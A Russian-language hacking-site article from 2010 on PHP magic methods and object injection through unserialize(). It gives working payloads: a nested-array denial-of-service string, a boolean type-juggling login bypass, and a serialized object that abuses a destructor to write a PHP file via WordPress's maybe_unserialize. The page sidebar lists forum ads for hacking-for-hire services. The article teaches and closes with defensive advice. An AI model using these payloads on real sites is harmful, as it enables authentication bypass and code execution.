Нажмите CTRL-D чтобы добавить нас в закладки
Внимание! Вы находитесь в незащищенном режиме (HTTP). Для перехода в защищенный режим SSL, нажмите здесь
HackZone.RU - PHP и волшебные методы: cериализация PHP-объектов глазами хакера
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Поиск ТОП Добавить публикацию

PHP и волшебные методы: cериализация PHP-объектов глазами хакера

26.04.2010

Сразу спешу сообщить, что данное исследование в большей степени направлено на будущее, так как на данный момент очень немногие программисты стремятся воспользоваться всеми преимуществами "волшебных методов" PHP, хотя многие векторы описываемой атаки уже сейчас присущи таким великолепным вещам, как WordPress и Zend Framework.

Краткий ликбез

Для начала тебе стоит уяснить, что же это за "волшебные методы", для чего они нужны и в каких случаях применяются.

Magic Methods - это, в дословном переводе, Магические Методы, которые зарезервированы в php и всегда начинаются с двойного подчеркивания "__" (создателями php не рекомендуется называть свои собственные методы, начиная с этого самого "__", если ты хочешь использовать некоторую волшебную функциональность).

Вот список таких методов:

__construct
__destruct
__call
__callStatic
__get
__set
__isset
__unset
__sleep
__wakeup
__toString
__set_state
__clone
__invoke

Теперь немного подробнее о каждом методе.

  1. "__construct" и "__destruct" - самые популярные методы, которые реализуют базовые понятия объектно-ориентированного программирования: конструктор и деструктор;
  2. "__call", "__callStatic", "__get" и "__set" - методы, связанные с перегрузкой обращений как к свойствам, так и к методам. Методы "__get()" и "__set()" вызываются при установке и получении значения свойства, а методы "__call()" и "__callStatic" - при вызове метода. Стоит заметить, что эти магические функции будут вызываться только и исключительно в том случае, если запрошенные метод или свойство не существуют;
  3. "__isset" - метод, срабатывающий при вызове функций empty() или isset() на несуществующем или недоступном свойстве класса;
  4. "__unset" - срабатывает при вызове функции unset() на несуществующем или недоступном свойстве класса;
  5. "__sleep" и "__wakeup" - методы, которые вызываются только из функций serialize и unserialize соответственно. Метод "__sleep" будет вызван сразу при применении к объекту функции serialize, а метод "__wakeup" - при применении unserialize. В настоящий момент методы применяются для сохранения текущего состояния системы с последующим восстановлением данного состояния (например, коннект к базе);
  6. "__toString" - метод, с помощью которого можно обращаться к классу как к строке (например, с помощью print или echo);
  7. "__set_state" - метод, который вызывается для классов, экспортирующих значения свойств функцией var_export();
  8. "__clone" - вызывается при клонировании объекта (введен для использования из-за того, что объекты в php5 и выше передаются по ссылке);
  9. "__invoke" - вызывается при попытке использовать объект в качестве функции.

В рамках статьи нас интересуют 3 описанных метода: "__destruct", "__wakeup" и "__toString" - именно они могут вызываться при автозагрузке объектов из функции unserialize.

Многострадальный unserialize

Немного отступимся от основной темы и рассмотрим некоторые особенности и варианты эксплуатации функции unserialize(), которые отметил сам Эссер.

1. Пример от Стефана, в котором наглядно описаны все поддерживаемые функцией типы данных:

a:3:{i:5;O:9:"TestClass":2:{s:7:"\0*\0pro1";i:123;s:
15:"\0TestClass\0pro2";i:123;}i:123;b:1;i:1337;a:3:{i:0;N;i:
1;i:5;i:2;a:1:{i:0;O:10:"OtherClass":4:{s:16:"\0OtherClass
\0pro1";s:6:"ABCDEF";s:16:"\0OtherClass\0pro2";s:3:"ABC";s:
16:"\0OtherClass\0pro3";R:2;s:16:"\0OtherClass\0pro4";N;}}}}

Здесь в сериализованной строке содержатся следующие данные:

b:1; //boolean
i:5; //integer
s:5:"ABCDE"; //string
a:3:{...} //array
O:9:"TestClass":1:{...} //object

В примере ты можешь заметить, возможно, неизвестные тебе форматы записи переменных: "\0*\0pro1" и "\0TestClass\0pro2". "Что это за нулл-байты в именах переменных?" - спросишь ты. Заходим наwww.php.net/manual/en/function.serialize.php и читаем плашку с "Note":

Object's private members have the class name prepended to the member name; protected members have a '*' prepended to the member name. These prepended values have null bytes on either side.

Это нехитрое пояснение означает, что при сериализации объектов закрытые члены класса должны предваряться именем класса, обрамленным нулл-байтами, а защищенные объекты должны начинаться с "\0*\0".

Также, поясню, что в php5 существуют 3 дескриптора для осуществления контроля над доступом к переменным и методам:

  • public (открытый): метод или переменная доступны из любого места в коде;
  • private (закрытый): закрытые методы или переменные доступны только внутри класса;
  • protected (защищенный): защищенные методы или переменные доступны только внутри класса, где они были объявлены, а также из его производных классов.

Данные особенности сериализации объектов означают, что при десериализации мы можем перезаписать даже защищенные переменные внутри вызываемого класса!

2. Далее пример легкой DoS-атаки с помощью описываемой функции:

a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:
1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{...

3. И, наконец, известная тебе по древнему phpBB2 уязвимость с использованием == вместо === при сравнении строк и типов данных, проявляющая себе через функцию unserialize.

Уязвимый код:

<?php
$data = unserialize($autologin);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
?>

Эксплойт:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Здесь имя пользователя и пароль устанавливаются в булево true, а затем скрипт пускает нас в админку :).

Хитрые классы

Настало время вернуться к нашим баранам.

Итак, представь, что у нас имеется некая CMS, в которой существует некий класс, где присутствует метод __destruct (__wakeup и __toString мы рассмотрим немного позже и менее подробно, так как они пока что очень редки в реальной жизни, хотя все описываемое в полной мере может относиться и к ним).

Вот исходник этого класса:

<?php
class testClass
{
protected $log_file='log'; //файл логов
private $path = './'; //путь к файлу логов
var $log_dump; //содержимое лога

//деструктор класса
function __destruct()
{
//сохраняем лог
$f = fopen($this->path.$this->log_file.'.txt','w');
fwrite($f,$this->log_dump);
fclose($f);
}
}
?>

Использоваться данный класс может, например, так:

<?php
$test = new testClass();
$test->log_dump = time();
unset($test);
?>

В данном примере сначала вызывается класс testClass, затем переменной $log_dump устанавливается значение текущего времени, и вызванный объект уничтожается.

Рассмотрим, что в это время происходит с самим объектом:

  1. Инициализируется класс (если бы существовал магический метод __construct, вызывался бы именно он);
  2. Устанавливаются защищенная и закрытая переменные $log_file и $path, в которых содержатся имя файла логов и путь к нему;
  3. Устанавливается внешняя переменная $log_dump - то, что мы будем записывать в лог-файл;
  4. Вызывается деструктор класса __destruct, во время чего в наш лог-файл log.txt записывается текущее время.

Как видишь, у нас получился неплохой пример логгера :).

Эксплуатируй это!

Теперь настало время представить, что описанный выше класс уже включен в код нашей CMS и что вызываемые из базы данных поля профиля пользователя (или любые другие поля) проверяются на сериализацию. В качестве примера подойдут функции из уже известного тебе WordPress'а:

<?php
...
function is_serialized( $data ) {
// if it isn't a string, it isn't serialized
if ( !is_string( $data ) )
return false;
$data = trim( $data );
if ( 'N;' == $data )
return true;
if ( !preg_match( '/^([adObis]):/', $data, $badions ) )
return false;
switch ( $badions[1] ) {
case 'a' :
case 'O' :
case 's' :
if ( preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
return true;
break;
case 'b' :
case 'i' :
case 'd' :
if ( preg_match( "/^{$badions[1]}:[0-9.E-]+;\$/", $data ) )
return true;
break;
}
return false;
}
...
function maybe_unserialize( $original ) {
if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
return @unserialize( $original );
return $original;
}
...
?>

Здесь видно, что, будучи примененной к какой-либо строке, при определенных условиях функция maybe_unserialize() может пропустить оную через нужную нам unserialize().

Рассмотрим подробнее наш класс testClass в контексте сериализации:

  1. Переменная $log_file является защищенной, следовательно, при сериализации она должна выглядеть как "\0*\0log_file";
  2. Переменная $path является закрытой и при сериализации выглядит как "\0testClass\0path" (префикс - имя класса);
  3. Последняя переменная $log_dump является открытой всюду и для всех, так что никаких специальных манипуляций с ней проводить не нужно.

Из данных утверждений вытекает возможный эксплойт:

<?php
//$pole - может быть извлеченным из БД полем
$pole = "O:9:\"testClass\":3:{s:11:\"\0*\0log_file\";s:9:\"evil.php\0\";s:15:\"\0test
Class\0path\";s:2:\"./\";s:8:\"log_dump\";s:16:\"<? phpinfo(); ?>\";}"
$pole = maybe_unserialize($pole);
?>

В примере наш объект вызывается с предустановленными переменными $log_file = "evil.php\0"; (нулл-байт нужен для обрезания предустановленного в классе расширения .txt) и $log_dump = "<? phpinfo(); ?>";. После десериализации, а следовательно, и уничтожения объекта в директории с логами должен появиться файл evil.php, содержащий наш злонамеренный код :).

В случае с __wakeup вся эксплуатация выглядит совершенно таким же образом (потому что этот метод также вызывается при десериализации), а вот в случае с __toString уязвимый код в CMS должен выглядеть чуть-чуть иначе:

<?php
...
print unserialize($pole);
...
?>

Здесь десериализованная строка должна сразу же выводиться на экран с помощью print или echo, - тогда и только тогда будет вызван указанный метод.

Для более глубокого понимания описанного класса уязвимостей советую внимательно изучить презентации Стефана Эссера (ссылки, как всегда, ищи в сносках). В них содержатся реальные примеры использования метода __destruct в Zend Framework с выполнением кода через preg_replace, инклудом удаленных файлов, загрузкой и удалением произвольных файлов и т.д.

Memento

Описанное выше является лишь документированными возможностями нашего любимого PHP, просто существуют специалисты, которые изучают эти возможности немного глубже, чем обычные кодеры :). Так что, рекомендую с огромной осторожностью применять в своих проектах магические методы __wakeup, __toString и __destruct вкупе с десериализацией любого пользовательского ввода (вообще, никогда не стоит доверять пользователям).

При копировании материалов ссылка на HackZone.RU обязательна

Добавить страницу в закладки

 Детали
Категория: Программирование
Опубликовал: ViDoG
Просмотров: 6697
Проголосовало через SMS: 0
  Разместить у себя на сайте
Прямая ссылка
HTML
BBCode ссылка
BBCode ссылка с текстом

 Комментарии (оставить свой комментарий можно здесь)
Только зарегистрированные пользователи могут оставлять комментарии

Зарегистрироваться *** Авторизоваться


 Последние новости и статьи  Последние сообщения с форумов
  • Google Pixel взломали за 60 секунд
  • В CMS Joomla обнаружена критическая 0-day уязвимость
  • ФБР не смогло взломать протокол шифрования переписки террористов ...
  • Полиция обыскала дом предполагаемого создателя платежной системы ...
  • Google: квантовый ПК будет в 100 млн раз быстрее стандартных чипо...
  • "Лаборатория Касперского" констатирует усиление атак кибергруппир...
  • Microsoft Edge откроет исходные коды ChakraCore
  • Anonymous объявили 11 декабря «днём троллинга» ИГИЛ
  • Миллионы телевизоров, смартфонов и маршрутизаторов оказались уязв...
  • Adobe прощается с Flash

    Все новости... Все статьи... Прислать новость RSS
  • Взлом и безопасность / Новичкам » Re: Взлом Whatsapp.Viber.Instagram. facebook.Узнаем взломаем...
  • Сети / Общее » Re: Профессиональные услуги по взлому
  • Разное / Предложения работы » Требуется специалист для взлома сайта
  • Разное / Продам, отдам » Re: Продаю Инсаид ВМ
  • Разное / Ищу работу » Re: Качественный подбор паролей к почтам.
  • Сети / Общее » Помощь во взломе почты,соц.страниц
  • Взлом и безопасность / Новичкам » Re: Взлом Whatsapp.Viber.Instagram. facebook.Узнаем взломаем...
  • Разное / Ищу работу » Re: Взлом Вконтакте, Одноклассники, почты
  • Разное / Ищу работу » Re: Услуги по взлому сайтов
  • Разное / Ищу работу » Re: Взлом страниц: ВКонтакте, Одноклассники.

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 2007-2012. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    Ya-Cyt службы мониторинга серверов

    #{title}

    #{text}

    x

    #{title}

    #{text}